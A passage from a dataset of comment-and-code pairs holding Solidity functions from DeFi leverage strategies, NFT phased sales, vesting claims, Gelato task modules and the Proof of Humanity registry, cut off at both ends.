path[1] = weth;\r\n path[2] = usdcBuyback;\r\n path[3] = _to;\r\n }\r\n } else{\t\t\r\n path = new address[](3);\r\n path[0] = _from;\r\n path[1] = weth;\r\n path[2] = _to;\t\t\r\n }\r\n\r\n UniswapRouterV2(univ2Router2).swapExactTokensForTokens(\r\n _amount,\r\n 0,\r\n path,\r\n address(this),\r\n now.add(60)\r\n );\r\n }", "version": "0.6.12"} {"comment": "// if borrow is true (for lockAndDraw): return (maxDebt - currentDebt) if positive value, otherwise return 0\n// if borrow is false (for redeemAndFree): return (currentDebt - maxDebt) if positive value, otherwise return 0", "function_code": "function calculateDebtFor(uint256 collateralAmt, bool borrow) public view returns (uint256) {\r\n uint256 maxDebt = collateralValue(collateralAmt).mul(10000).div(minRatio.mul(10000).mul(ratioBuffMax + ratioBuff).div(ratioBuffMax).div(100));\r\n\t\t\r\n uint256 debtAmt = getDebtBalance();\r\n\t\t\r\n uint256 debt = 0;\r\n \r\n if (borrow && maxDebt >= debtAmt){\r\n debt = maxDebt.sub(debtAmt);\r\n } else if (!borrow && debtAmt >= maxDebt){\r\n debt = debtAmt.sub(maxDebt);\r\n }\r\n \r\n return (debt > 0)? debt : 0;\r\n }", "version": "0.6.12"} {"comment": "// **** Oracle (using chainlink) ****", "function_code": "function getLatestCollateralPrice() public view returns (uint256){\r\n require(collateralOracle != address(0), '!_collateralOracle');\t\r\n (\r\n uint80 roundID, \r\n int price,\r\n uint startedAt,\r\n uint timeStamp,\r\n uint80 answeredInRound\r\n ) = priceFeed.latestRoundData();\r\n\t\t\r\n if (price > 0){\r\n int ethPrice = 1;\r\n if (collateralPriceEth){\r\n (,ethPrice,,,) = AggregatorV3Interface(eth_usd).latestRoundData();\t\t\t\r\n }\r\n return uint256(price).mul(collateralPriceDecimal).mul(uint256(ethPrice)).div(1e8).div(collateralPriceEth? 1e18 : 1);\r\n } else{\r\n return 0;\r\n }\r\n }", "version": "0.6.12"} {"comment": "// **** State Mutation functions ****", "function_code": "function keepMinRatio() external onlyCDPInUse onlyKeepers {\t\t\r\n uint256 requiredPaidback = requiredPaidDebt(0);\r\n if (requiredPaidback > 0){\r\n _withdrawDAI(requiredPaidback);\r\n uint256 wad = IERC20(debtToken).balanceOf(address(this));\r\n require(wad >= requiredPaidback, '!keepMinRatioRedeem');\r\n\t\t\t\r\n repayAndRedeemCollateral(0, requiredPaidback);\r\n uint256 goodRatio = currentRatio();\r\n require(goodRatio >= minRatio.sub(1), '!stillBelowMinRatio');\r\n }\r\n }", "version": "0.6.12"} {"comment": "// **** State mutations **** //\n// Leverages until we're supplying amount", "function_code": "function _lUntil(uint256 _supplyAmount) internal {\r\n uint256 leverage = getMaxLeverage();\r\n uint256 unleveragedSupply = getSuppliedUnleveraged();\r\n uint256 supplied = getSupplied();\r\n require(_supplyAmount >= unleveragedSupply && _supplyAmount <= unleveragedSupply.mul(leverage).div(1e18) && _supplyAmount >= supplied, \"!leverage\");\r\n\r\n // Since we're only leveraging one asset\r\n // Supplied = borrowed\r\n uint256 _gap = _supplyAmount.sub(supplied);\r\n if (_flashloanApplicable(_gap)){\r\n IERC3156FlashLender(dydxFlashloanWrapper).flashLoan(IERC3156FlashBorrower(this), dai, _gap, DATA_LEVERAGE);\r\n }else{\r\n uint256 _borrowAndSupply;\r\n while (supplied < _supplyAmount) {\r\n _borrowAndSupply = getBorrowable();\r\n if (supplied.add(_borrowAndSupply) > _supplyAmount) {\r\n _borrowAndSupply = _supplyAmount.sub(supplied);\r\n }\r\n _leveraging(_borrowAndSupply, false);\r\n supplied = supplied.add(_borrowAndSupply);\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "// Deleverages until we're supplying amount", "function_code": "function _dlUntil(uint256 _supplyAmount) internal {\r\n uint256 unleveragedSupply = getSuppliedUnleveraged();\r\n uint256 supplied = getSupplied();\r\n require(_supplyAmount >= unleveragedSupply && _supplyAmount <= supplied, \"!deleverage\");\r\n\r\n // Since we're only leveraging on 1 asset\r\n // redeemable = borrowable\r\n uint256 _gap = supplied.sub(_supplyAmount);\r\n if (_flashloanApplicable(_gap)){\r\n IERC3156FlashLender(dydxFlashloanWrapper).flashLoan(IERC3156FlashBorrower(this), dai, _gap, DATA_DELEVERAGE);\r\n } else{\r\n uint256 _redeemAndRepay = getBorrowable();\r\n do {\r\n if (supplied.sub(_redeemAndRepay) < _supplyAmount) {\r\n _redeemAndRepay = supplied.sub(_supplyAmount);\r\n }\r\n _deleveraging(_redeemAndRepay, _redeemAndRepay, false);\r\n supplied = supplied.sub(_redeemAndRepay);\r\n } while (supplied > _supplyAmount);\r\n }\r\n }", "version": "0.6.12"} {"comment": "// **** internal state changer ****\n// for redeem supplied (unleveraged) DAI from compound", "function_code": "function _redeemDAI(uint256 _want) internal {\r\n uint256 maxRedeem = getSuppliedUnleveraged();\r\n _want = _want > maxRedeem? maxRedeem : _want;\r\n \r\n uint256 _redeem = _want;\r\n if (_redeem > 0) {\r\n // Make sure market can cover liquidity\r\n require(ICToken(cdai).getCash() >= _redeem, \"!cash-liquidity\");\r\n\r\n // How much borrowed amount do we need to free?\r\n uint256 borrowed = getBorrowed();\r\n uint256 supplied = getSupplied();\r\n uint256 curLeverage = getCurrentLeverage();\r\n uint256 borrowedToBeFree = _redeem.mul(curLeverage).div(1e18);\r\n\r\n // If the amount we need to free is > borrowed, Just free up all the borrowed amount\r\n if (borrowedToBeFree > borrowed) {\r\n _dlUntil(getSuppliedUnleveraged());\r\n } else {\r\n // Otherwise just keep freeing up borrowed amounts until we hit a safe number to redeem our underlying\r\n _dlUntil(supplied.sub(borrowedToBeFree));\r\n }\r\n\r\n // Redeems underlying\r\n require(ICToken(cdai).redeemUnderlying(_redeem) == 0, \"!redeem\");\r\n }\r\n }", "version": "0.6.12"} {"comment": "//dydx flashloan callback", "function_code": "function onFlashLoan(address origin, address _token, uint256 _amount, uint256 _loanFee, bytes calldata _data) public override returns (bytes32) {\r\n require(_token == dai && msg.sender == dydxFlashloanWrapper && origin == address(this), \"!Flash\");\r\n\r\n uint256 total = _amount.add(_loanFee);\r\n require(IERC20(dai).balanceOf(address(this)) >= _amount, '!balFlash');\r\n\r\n (Action action) = abi.decode(_data, (Action));\r\n\r\n if (action == Action.LEVERAGE){\r\n _leveraging(total, true);\r\n emit FlashLoanLeverage(_amount, _loanFee, _data, Action.LEVERAGE);\r\n } else{\r\n _deleveraging(_amount, total, true);\r\n emit FlashLoanDeleverage(_amount, _loanFee, _data, Action.DELEVERAGE);\r\n }\r\n\r\n require(IERC20(dai).balanceOf(address(this)) >= total, '!deficitFlashRepay');\r\n return 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Terminate contract and refund to owner\r\n * @param _tokens List of addresses of ERC20 or ERC20Basic token contracts to\r\n refund.\r\n * @notice The called token contracts could try to re-enter this contract. Only\r\n supply token contracts you trust.\r\n */", "function_code": "function destroy(address[] _tokens) public onlyOwner {\r\n\r\n // Transfer tokens to owner\r\n for (uint256 i = 0; i < _tokens.length; i++) {\r\n ERC20Basic token = ERC20Basic(_tokens[i]);\r\n uint256 balance = token.balanceOf(this);\r\n token.transfer(owner, balance);\r\n }\r\n\r\n // Transfer Eth to owner and terminate contract\r\n selfdestruct(owner);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Validates the sale data for each phase per user\r\n *\r\n * @dev For each phase validates that the time is correct,\r\n * that the ether supplied is correct and that the purchase \r\n * amount doesn't exceed the max amount\r\n *\r\n * @param amount. The amount the user want's to purchase\r\n * @param phase. The sale phase of the user\r\n */", "function_code": "function validatePhaseSpecificPurchase(uint256 amount, uint256 phase) internal {\r\n if (phase == 1) { \r\n require(msg.value >= pricePhaseOne * amount, \"ETHER SENT NOT CORRECT\");\r\n require(mintedPhases[1] + amount <= maxSupplyPhaseOne, \"BUY AMOUNT GOES OVER MAX SUPPLY\");\r\n require(block.timestamp >= startTimePhaseOne, \"PHASE ONE SALE HASN'T STARTED YET\");\r\n\r\n } else if (phase == 2) { \r\n require(msg.value >= pricePhaseTwo * amount, \"ETHER SENT NOT CORRECT\");\r\n require(mintedPhases[2] + amount <= maxSupplyPhaseTwo, \"BUY AMOUNT GOES OVER MAX SUPPLY\");\r\n require(block.timestamp >= startTimePhaseTwo, \"PHASE TWO SALE HASN'T STARTED YET\");\r\n\r\n } else {\r\n revert(\"INCORRECT PHASE\");\r\n }\r\n }", "version": "0.8.12"} {"comment": "/**\r\n * @notice Function to buy one or more NFTs.\r\n * @dev First the Merkle Proof is verified.\r\n * Then the buy is verified with the data embedded in the Merkle Proof.\r\n * Finally the NFTs are bought to the user's wallet.\r\n *\r\n * @param amount. The amount of NFTs to buy. \r\n * @param buyMaxAmount. The max amount the user can buy.\r\n * @param phase. The permissioned sale phase.\r\n * @param proof. The Merkle Proof of the user.\r\n */", "function_code": "function buyPhases(uint256 amount, uint256 buyMaxAmount, uint256 phase, bytes32[] calldata proof) \r\n external \r\n payable {\r\n\r\n /// @dev Verifies Merkle Proof submitted by user.\r\n /// @dev All mint data is embedded in the merkle proof.\r\n\r\n bytes32 leaf = keccak256(abi.encodePacked(msg.sender, buyMaxAmount, phase));\r\n require(MerkleProof.verify(proof, merkleRoot, leaf), \"INVALID PROOF\");\r\n\r\n /// @dev Verify that user can perform permissioned sale based on the provided parameters.\r\n\r\n require(address(nft) != address(0), \"NFT SMART CONTRACT NOT SET\");\r\n require(merkleRoot != \"\", \"PERMISSIONED SALE CLOSED\");\r\n \r\n require(amount > 0, \"HAVE TO BUY AT LEAST 1\");\r\n require(addressToMints[msg.sender][phase] + amount <= buyMaxAmount, \"BUY AMOUNT EXCEEDS MAX FOR USER\"); \r\n\r\n /// @dev Verify that user can perform permissioned sale based on phase of user\r\n\r\n validatePhaseSpecificPurchase(amount, phase);\r\n\r\n /// @dev Permissioned sale closes as soon as public sale starts\r\n require(block.timestamp < startTimeOpen, \"PERMISSIONED SALE CLOSED\");\r\n\r\n /// @dev Update mint values\r\n\r\n mintedPhases[phase] += amount;\r\n addressToMints[msg.sender][phase] += amount;\r\n nft.mintTo(amount, msg.sender);\r\n\r\n emit Purchase(msg.sender, amount, phase);\r\n }", "version": "0.8.12"} {"comment": "/**\r\n * @notice Function to buy one or more NFTs.\r\n *\r\n * @param amount. The amount of NFTs to buy.\r\n */", "function_code": "function buyOpen(uint256 amount) \r\n external \r\n payable {\r\n \r\n /// @dev Verifies that user can perform open mint based on the provided parameters.\r\n\r\n require(address(nft) != address(0), \"NFT SMART CONTRACT NOT SET\");\r\n require(block.timestamp >= startTimeOpen, \"OPEN SALE CLOSED\");\r\n\r\n require(amount > 0, \"HAVE TO BUY AT LEAST 1\");\r\n\r\n require(addressToMints[msg.sender][3] + amount <= limitOpen, \"MINT AMOUNT EXCEEDS MAX FOR USER\");\r\n require(mintedOpen + amount <= maxSupplyOpen(), \"MINT AMOUNT GOES OVER MAX SUPPLY\");\r\n require(msg.value >= priceOpen * amount, \"ETHER SENT NOT CORRECT\");\r\n\r\n /// @dev Updates contract variables and mints `amount` NFTs to users wallet\r\n \r\n mintedOpen += amount;\r\n addressToMints[msg.sender][3] += amount;\r\n nft.mintTo(amount, msg.sender);\r\n\r\n emit Purchase(msg.sender, amount, 3);\r\n }", "version": "0.8.12"} {"comment": "/**\r\n * @notice Set recipients for funds collected in smart contract.\r\n *\r\n * @dev Overrides old recipients and shares\r\n *\r\n * @param _addresses. The addresses of the new recipients.\r\n * @param _shares. The shares corresponding to the recipients.\r\n */", "function_code": "function setRecipients(address[] calldata _addresses, uint256[] calldata _shares) external onlyOwner {\r\n require(_addresses.length > 0, \"HAVE TO PROVIDE AT LEAST ONE RECIPIENT\");\r\n require(_addresses.length == _shares.length, \"PAYMENT SPLIT NOT CONFIGURED CORRECTLY\");\r\n\r\n delete recipients;\r\n delete shares;\r\n\r\n for (uint i = 0; i < _addresses.length; i++) {\r\n recipients.push(_addresses[i]);\r\n shares.push(_shares[i]);\r\n }\r\n\r\n emit setRecipientsEvent(_addresses, _shares);\r\n }", "version": "0.8.12"} {"comment": "/**\r\n * @notice Allows owner to withdraw funds generated from sale to the specified recipients.\r\n *\r\n */", "function_code": "function withdrawAll() external {\r\n bool senderIsRecipient = false;\r\n for (uint i = 0; i < recipients.length; i++) {\r\n senderIsRecipient = senderIsRecipient || (msg.sender == recipients[i]);\r\n }\r\n require(senderIsRecipient, \"CAN ONLY BE CALLED BY RECIPIENT\");\r\n require(recipients.length > 0, \"CANNOT WITHDRAW TO ZERO ADDRESS\");\r\n require(recipients.length == shares.length, \"PAYMENT SPLIT NOT CONFIGURED CORRECTLY\");\r\n\r\n uint256 contractBalance = address(this).balance;\r\n\r\n require(contractBalance > 0, \"NO ETHER TO WITHDRAW\");\r\n\r\n for (uint i = 0; i < recipients.length; i++) {\r\n address _to = recipients[i];\r\n uint256 _amount = contractBalance * shares[i] / 1000;\r\n payable(_to).transfer(_amount);\r\n emit WithdrawAllEvent(_to, _amount);\r\n } \r\n }", "version": "0.8.12"} {"comment": "/**\n * @notice logic for claiming OHM\n * @param _amount uint256\n * @return toSend_ uint256\n */", "function_code": "function _claim(uint256 _amount) internal returns (uint256 toSend_) {\n Term memory info = terms[msg.sender];\n\n dai.safeTransferFrom(msg.sender, address(this), _amount);\n toSend_ = treasury.deposit(_amount, address(dai), 0);\n\n require(redeemableFor(msg.sender).div(1e9) >= toSend_, \"Claim more than vested\");\n require(info.max.sub(claimed(msg.sender)) >= toSend_, \"Claim more than max\");\n\n if(useStatic) {\n terms[msg.sender].gClaimed = info.gClaimed.add(gOHM.balanceTo(toSend_.mul(9).div(10)));\n terms[msg.sender].claimed = info.claimed.add(toSend_.div(10));\n } else terms[msg.sender].gClaimed = info.gClaimed.add(gOHM.balanceTo(toSend_));\n }", "version": "0.7.5"} {"comment": "/**\n * @notice bulk migrate users from previous contract\n * @param _addresses address[] memory\n */", "function_code": "function migrate(address[] memory _addresses) external onlyOwner {\n for (uint256 i = 0; i < _addresses.length; i++) {\n IClaim.Term memory term = previous.terms(_addresses[i]);\n setTerms(\n _addresses[i], \n term.max,\n term.percent,\n term.claimed,\n term.wClaimed\n );\n }\n }", "version": "0.7.5"} {"comment": "/**\n * @notice set terms for new address\n * @notice cannot lower for address or exceed maximum total allocation\n * @param _address address\n * @param _percent uint256\n * @param _claimed uint256\n * @param _gClaimed uint256\n * @param _max uint256\n */", "function_code": "function setTerms(\n address _address, \n uint256 _percent, \n uint256 _claimed, \n uint256 _gClaimed, \n uint256 _max\n ) public onlyOwner {\n require(terms[_address].max == 0, \"address already exists\");\n terms[_address] = Term({\n percent: _percent,\n claimed: _claimed,\n gClaimed: _gClaimed,\n max: _max\n });\n require(totalAllocated.add(_percent) <= maximumAllocated, \"Cannot allocate more\");\n totalAllocated = totalAllocated.add(_percent);\n }", "version": "0.7.5"} {"comment": "// https://github.com/bZxNetwork/bZx-monorepo/blob/development/packages/contracts/extensions/loanTokenization/contracts/LoanToken/LoanTokenLogicV4_Chai.sol#L1591", "function_code": "function rpow(\n uint256 x,\n uint256 n,\n uint256 base)\n public\n pure\n returns (uint256 z)\n {\n assembly {\n switch x case 0 {switch n case 0 {z := base} default {z := 0}}\n default {\n switch mod(n, 2) case 0 { z := base } default { z := x }\n let half := div(base, 2) // for rounding.\n for { n := div(n, 2) } n { n := div(n,2) } {\n let xx := mul(x, x)\n if iszero(eq(div(xx, x), x)) { revert(0,0) }\n let xxRound := add(xx, half)\n if lt(xxRound, xx) { revert(0,0) }\n x := div(xxRound, base)\n if mod(n,2) {\n let zx := mul(z, x)\n if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) }\n let zxRound := add(zx, half)\n if lt(zxRound, zx) { revert(0,0) }\n z := div(zxRound, base)\n }\n }\n }\n }\n }", "version": "0.5.16"} {"comment": "/// @param _conditionData The encoded data from getConditionData()", "function_code": "function ok(uint256, bytes calldata _conditionData, uint256)\n public\n view\n virtual\n override\n returns(string memory)\n {\n (address sendToken,\n uint256 sendAmount,\n address buyToken,\n uint256 currentRefRate,\n bool greaterElseSmaller\n ) = abi.decode(\n _conditionData[4:], // slice out selector & taskReceiptId\n (address,uint256,address,uint256,bool)\n );\n return checkRefRateUniswap(\n sendToken, sendAmount, buyToken, currentRefRate, greaterElseSmaller\n );\n }", "version": "0.6.10"} {"comment": "// Specific Implementation", "function_code": "function checkRefRateUniswap(\n address _sellToken,\n uint256 _sellAmount,\n address _buyToken,\n uint256 _currentRefRate,\n bool _greaterElseSmaller\n )\n public\n view\n virtual\n returns(string memory)\n {\n\n (_sellToken, _buyToken) = convertEthToWeth(_sellToken, _buyToken);\n\n uint256 expectedRate = getUniswapRate(_sellToken, _sellAmount, _buyToken);\n\n if (_greaterElseSmaller) { // greaterThan\n if (expectedRate >= _currentRefRate) return OK;\n else return \"ExpectedRateIsNotGreaterThanRefRate\";\n } else { // smallerThan\n if (expectedRate <= _currentRefRate) return OK;\n else return \"ExpectedRateIsNotSmallerThanRefRate\";\n }\n\n }", "version": "0.6.10"} {"comment": "// ================= GELATO PROVIDER MODULE STANDARD ================", "function_code": "function isProvided(address _userProxy, address, Task calldata)\n external\n view\n override\n returns(string memory)\n {\n // Verify InstaDapp account identity\n if (ListInterface(index.list()).accountID(_userProxy) == 0)\n return \"ProviderModuleDSA.isProvided:InvalidUserProxy\";\n\n // Is GelatoCore authorized\n if (!AccountInterface(_userProxy).isAuth(gelatoCore))\n return \"ProviderModuleDSA.isProvided:GelatoCoreNotAuth\";\n\n // @dev commented out for gas savings\n\n // // Is connector valid\n // ConnectorsInterface connectors = ConnectorsInterface(index.connectors(\n // AccountInterface(_userProxy).version()\n // ));\n\n // address[] memory targets = new address[](_task.actions.length);\n // for (uint i = 0; i < _task.actions.length; i++)\n // targets[i] = _task.actions[i].addr;\n\n // bool isShield = AccountInterface(_userProxy).shield();\n // if (isShield)\n // if (!connectors.isStaticConnector(targets))\n // return \"ProviderModuleDSA.isProvided:not-static-connector\";\n // else\n // if (!connectors.isConnector(targets))\n // return \"ProviderModuleDSA.isProvided:not-connector\";\n\n return OK;\n }", "version": "0.6.10"} {"comment": "/// @dev DS PROXY ONLY ALLOWS DELEGATE CALL for single actions, that's why we also use multisend", "function_code": "function execPayload(uint256, address, address, Task calldata _task, uint256)\n external\n view\n override\n returns(bytes memory payload, bool)\n {\n address[] memory targets = new address[](_task.actions.length);\n for (uint i = 0; i < _task.actions.length; i++)\n targets[i] = _task.actions[i].addr;\n\n bytes[] memory datas = new bytes[](_task.actions.length);\n for (uint i = 0; i < _task.actions.length; i++)\n datas[i] = _task.actions[i].data;\n\n payload = abi.encodeWithSelector(\n AccountInterface.cast.selector,\n targets,\n datas,\n gelatoCore\n );\n }", "version": "0.6.10"} {"comment": "/*****************Pre sale functions***********************/", "function_code": "receive() external payable{\r\n require(msg.value >= 0.1 ether, \"Min investment allowed is 0.1 ether\");\r\n \r\n uint256 tokens = getTokenAmount(msg.value);\r\n \r\n require(balances[address(this)] >= tokens, \"Insufficient tokens in contract\");\r\n \r\n require(_transfer(msg.sender, tokens), \"Sale is over\");\r\n \r\n // send received funds to the owner\r\n owner.transfer(msg.value);\r\n }", "version": "0.6.12"} {"comment": "/// @dev use this function to encode the data off-chain for the condition data field", "function_code": "function getConditionData(\n address _userProxy,\n address _sellToken,\n uint256 _sellAmount,\n address _buyToken,\n bool _greaterElseSmaller\n )\n public\n pure\n virtual\n returns(bytes memory)\n {\n return abi.encodeWithSelector(\n this.checkRefRateUniswap.selector,\n uint256(0), // taskReceiptId placeholder\n _userProxy,\n _sellToken,\n _sellAmount,\n _buyToken,\n _greaterElseSmaller\n );\n }", "version": "0.6.10"} {"comment": "// customize which taskId the state should be allocated to", "function_code": "function setRefRateAbsolute(\n address _sellToken,\n uint256 _sellAmount,\n address _buyToken,\n bool _greaterElseSmaller,\n uint256 _rateDeltaAbsolute,\n uint256 _idDelta\n )\n external\n {\n uint256 taskReceiptId = _getIdOfNextTaskInCycle() + _idDelta;\n\n (_sellToken, _buyToken) = convertEthToWeth(_sellToken, _buyToken);\n\n uint256 expectedRate = getUniswapRate(_sellToken, _sellAmount, _buyToken);\n if (_greaterElseSmaller) {\n refRate[msg.sender][taskReceiptId] = expectedRate.add(_rateDeltaAbsolute);\n } else {\n refRate[msg.sender][taskReceiptId] = expectedRate.sub(\n _rateDeltaAbsolute,\n \"ConditionKyberRateStateful.setRefRate: Underflow\"\n );\n }\n\n }", "version": "0.6.10"} {"comment": "/// @dev will be delegate called by ds_proxy", "function_code": "function submitTaskAndMultiProvide(\n Provider memory _provider,\n Task memory _task,\n uint256 _expiryDate,\n address _executor,\n IGelatoProviderModule[] memory _providerModules,\n uint256 _ethToDeposit\n )\n public\n payable\n {\n gelatoCore.submitTask(_provider, _task, _expiryDate);\n TaskSpec[] memory taskSpecs = new TaskSpec[](0);\n IGelatoProviders(address(gelatoCore)).multiProvide{value: _ethToDeposit}(\n _executor,\n taskSpecs,\n _providerModules\n );\n }", "version": "0.6.10"} {"comment": "/**\r\n * @dev Override _beforeTokenTransfer to block transfers\r\n */", "function_code": "function _beforeTokenTransfer(\r\n address _operator,\r\n address _from,\r\n address _to,\r\n uint256[] memory _ids,\r\n uint256[] memory _amounts,\r\n bytes memory _data\r\n ) internal virtual override {\r\n // _beforeTokenTransfer is called in mint so allow address(0)\r\n // allow dead address in case people want to get rid of token\r\n address dead = 0x000000000000000000000000000000000000dEaD;\r\n require(_from == address(0) || _to == dead, \"Token is non transferable\"); \r\n\r\n super._beforeTokenTransfer(_operator, _from, _to, _ids, _amounts, _data);\r\n }", "version": "0.6.2"} {"comment": "/**\r\n * @dev moves tokens(amount) from holder(tokenID) into itself using trustedAgentTransfer, records the amount in stake map\r\n * @param _tokenId stake token to take stake for\r\n * @param _amount amount of stake to pull\r\n */", "function_code": "function takeStake(uint256 _tokenId, uint256 _amount)\r\n external\r\n nonReentrant\r\n whenNotPaused\r\n isStakeAdmin\r\n {\r\n //^^^^^^^checks^^^^^^^^^\r\n address staker = STAKE_TKN.ownerOf(_tokenId);\r\n //^^^^^^^effects^^^^^^^^^\r\n\r\n UTIL_TKN.trustedAgentTransfer(staker, address(this), _amount); // here so fails first\r\n stake[_tokenId] = stake[_tokenId] + _amount;\r\n //^^^^^^^interactions^^^^^^^^^\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Classic ERC1155 Standard Method\r\n */", "function_code": "function safeBatchTransferFrom(\r\n address from,\r\n address to,\r\n uint256[] memory objectIds,\r\n uint256[] memory amounts,\r\n bytes memory data\r\n ) public virtual override(IERC1155, EthItem) {\r\n require(to != address(0), \"ERC1155: transfer to the zero address\");\r\n require(\r\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\r\n \"ERC1155: caller is not owner nor approved\"\r\n );\r\n\r\n for (uint256 i = 0; i < objectIds.length; i++) {\r\n _doERC20Transfer(from, to, objectIds[i], amounts[i]);\r\n }\r\n\r\n address operator = _msgSender();\r\n\r\n emit TransferBatch(operator, from, to, objectIds, amounts);\r\n\r\n _doSafeBatchTransferAcceptanceCheck(\r\n operator,\r\n from,\r\n to,\r\n objectIds,\r\n amounts,\r\n data\r\n );\r\n }", "version": "0.6.12"} {"comment": "// Opens refunding.", "function_code": "function triggerRefund() {\r\n\t\t// No refunds if the sale was successful\r\n\t\tif (saleHasEnded) throw;\r\n\t\t// No refunds if minimum cap is hit\r\n\t\tif (minCapReached) throw;\r\n\t\t// No refunds if the sale is still progressing\r\n\t\tif (block.number < saleEndBlock) throw;\r\n\t\tif (msg.sender != executor) throw;\r\n\r\n\t\tallowRefund = true;\r\n\t}", "version": "0.4.11"} {"comment": "/** @dev Allows the governor to directly add new submissions to the list as a part of the seeding event.\r\n * @param _submissionIDs The addresses of newly added submissions.\r\n * @param _evidence The array of evidence links for each submission.\r\n * @param _names The array of names of the submitters. This parameter is for Subgraph only and it won't be used in this function.\r\n */", "function_code": "function addSubmissionManually(address[] calldata _submissionIDs, string[] calldata _evidence, string[] calldata _names) external onlyGovernor {\r\n uint counter = submissionCounter;\r\n uint arbitratorDataID = arbitratorDataList.length - 1;\r\n for (uint i = 0; i < _submissionIDs.length; i++) {\r\n Submission storage submission = submissions[_submissionIDs[i]];\r\n require(submission.requests.length == 0, \"Submission already been created\");\r\n submission.index = uint64(counter);\r\n counter++;\r\n\r\n Request storage request = submission.requests[submission.requests.length++];\r\n submission.registered = true;\r\n\r\n submission.submissionTime = uint64(now);\r\n request.arbitratorDataID = uint16(arbitratorDataID);\r\n request.resolved = true;\r\n\r\n if (bytes(_evidence[i]).length > 0)\r\n emit Evidence(arbitratorDataList[arbitratorDataID].arbitrator, uint(_submissionIDs[i]), msg.sender, _evidence[i]);\r\n }\r\n submissionCounter = counter;\r\n }", "version": "0.5.17"} {"comment": "/** @dev Update the meta evidence used for disputes.\r\n * @param _registrationMetaEvidence The meta evidence to be used for future registration request disputes.\r\n * @param _clearingMetaEvidence The meta evidence to be used for future clearing request disputes.\r\n */", "function_code": "function changeMetaEvidence(string calldata _registrationMetaEvidence, string calldata _clearingMetaEvidence) external onlyGovernor {\r\n ArbitratorData storage arbitratorData = arbitratorDataList[arbitratorDataList.length - 1];\r\n uint96 newMetaEvidenceUpdates = arbitratorData.metaEvidenceUpdates + 1;\r\n arbitratorDataList.push(ArbitratorData({\r\n arbitrator: arbitratorData.arbitrator,\r\n metaEvidenceUpdates: newMetaEvidenceUpdates,\r\n arbitratorExtraData: arbitratorData.arbitratorExtraData\r\n }));\r\n emit MetaEvidence(2 * newMetaEvidenceUpdates, _registrationMetaEvidence);\r\n emit MetaEvidence(2 * newMetaEvidenceUpdates + 1, _clearingMetaEvidence);\r\n }", "version": "0.5.17"} {"comment": "/** @dev Make a request to add a new entry to the list. Paying the full deposit right away is not required as it can be crowdfunded later.\r\n * @param _evidence A link to evidence using its URI.\r\n * @param _name The name of the submitter. This parameter is for Subgraph only and it won't be used in this function.\r\n */", "function_code": "function addSubmission(string calldata _evidence, string calldata _name) external payable {\r\n Submission storage submission = submissions[msg.sender];\r\n require(!submission.registered && submission.status == Status.None, \"Wrong status\");\r\n if (submission.requests.length == 0) {\r\n submission.index = uint64(submissionCounter);\r\n submissionCounter++;\r\n }\r\n submission.status = Status.Vouching;\r\n emit AddSubmission(msg.sender, submission.requests.length);\r\n requestRegistration(msg.sender, _evidence);\r\n }", "version": "0.5.17"} {"comment": "/** @dev Make a request to refresh a submissionDuration. Paying the full deposit right away is not required as it can be crowdfunded later.\r\n * Note that the user can reapply even when current submissionDuration has not expired, but only after the start of renewal period.\r\n * @param _evidence A link to evidence using its URI.\r\n * @param _name The name of the submitter. This parameter is for Subgraph only and it won't be used in this function.\r\n */", "function_code": "function reapplySubmission(string calldata _evidence, string calldata _name) external payable {\r\n Submission storage submission = submissions[msg.sender];\r\n require(submission.registered && submission.status == Status.None, \"Wrong status\");\r\n uint renewalAvailableAt = submission.submissionTime.addCap64(submissionDuration.subCap64(renewalPeriodDuration));\r\n require(now >= renewalAvailableAt, \"Can't reapply yet\");\r\n submission.status = Status.Vouching;\r\n emit ReapplySubmission(msg.sender, submission.requests.length);\r\n requestRegistration(msg.sender, _evidence);\r\n }", "version": "0.5.17"} {"comment": "/** @dev Make a request to remove a submission from the list. Requires full deposit. Accepts enough ETH to cover the deposit, reimburses the rest.\r\n * Note that this request can't be made during the renewal period to avoid spam leading to submission's expiration.\r\n * @param _submissionID The address of the submission to remove.\r\n * @param _evidence A link to evidence using its URI.\r\n */", "function_code": "function removeSubmission(address _submissionID, string calldata _evidence) external payable {\r\n Submission storage submission = submissions[_submissionID];\r\n require(submission.registered && submission.status == Status.None, \"Wrong status\");\r\n uint renewalAvailableAt = submission.submissionTime.addCap64(submissionDuration.subCap64(renewalPeriodDuration));\r\n require(now < renewalAvailableAt, \"Can't remove after renewal\");\r\n submission.status = Status.PendingRemoval;\r\n\r\n Request storage request = submission.requests[submission.requests.length++];\r\n request.requester = msg.sender;\r\n request.challengePeriodStart = uint64(now);\r\n\r\n uint arbitratorDataID = arbitratorDataList.length - 1;\r\n request.arbitratorDataID = uint16(arbitratorDataID);\r\n\r\n Round storage round = request.challenges[0].rounds[0];\r\n\r\n IArbitrator requestArbitrator = arbitratorDataList[arbitratorDataID].arbitrator;\r\n uint arbitrationCost = requestArbitrator.arbitrationCost(arbitratorDataList[arbitratorDataID].arbitratorExtraData);\r\n uint totalCost = arbitrationCost.addCap(submissionBaseDeposit);\r\n contribute(round, Party.Requester, msg.sender, msg.value, totalCost);\r\n\r\n require(round.paidFees[uint(Party.Requester)] >= totalCost, \"You must fully fund your side\");\r\n round.sideFunded = Party.Requester;\r\n\r\n emit RemoveSubmission(msg.sender, _submissionID, submission.requests.length - 1);\r\n\r\n if (bytes(_evidence).length > 0)\r\n emit Evidence(requestArbitrator, submission.requests.length - 1 + uint(_submissionID), msg.sender, _evidence);\r\n }", "version": "0.5.17"} {"comment": "/** @dev Fund the requester's deposit. Accepts enough ETH to cover the deposit, reimburses the rest.\r\n * @param _submissionID The address of the submission which ongoing request to fund.\r\n */", "function_code": "function fundSubmission(address _submissionID) external payable {\r\n Submission storage submission = submissions[_submissionID];\r\n require(submission.status == Status.Vouching, \"Wrong status\");\r\n Request storage request = submission.requests[submission.requests.length - 1];\r\n Challenge storage challenge = request.challenges[0];\r\n Round storage round = challenge.rounds[0];\r\n\r\n ArbitratorData storage arbitratorData = arbitratorDataList[request.arbitratorDataID];\r\n uint arbitrationCost = arbitratorData.arbitrator.arbitrationCost(arbitratorData.arbitratorExtraData);\r\n uint totalCost = 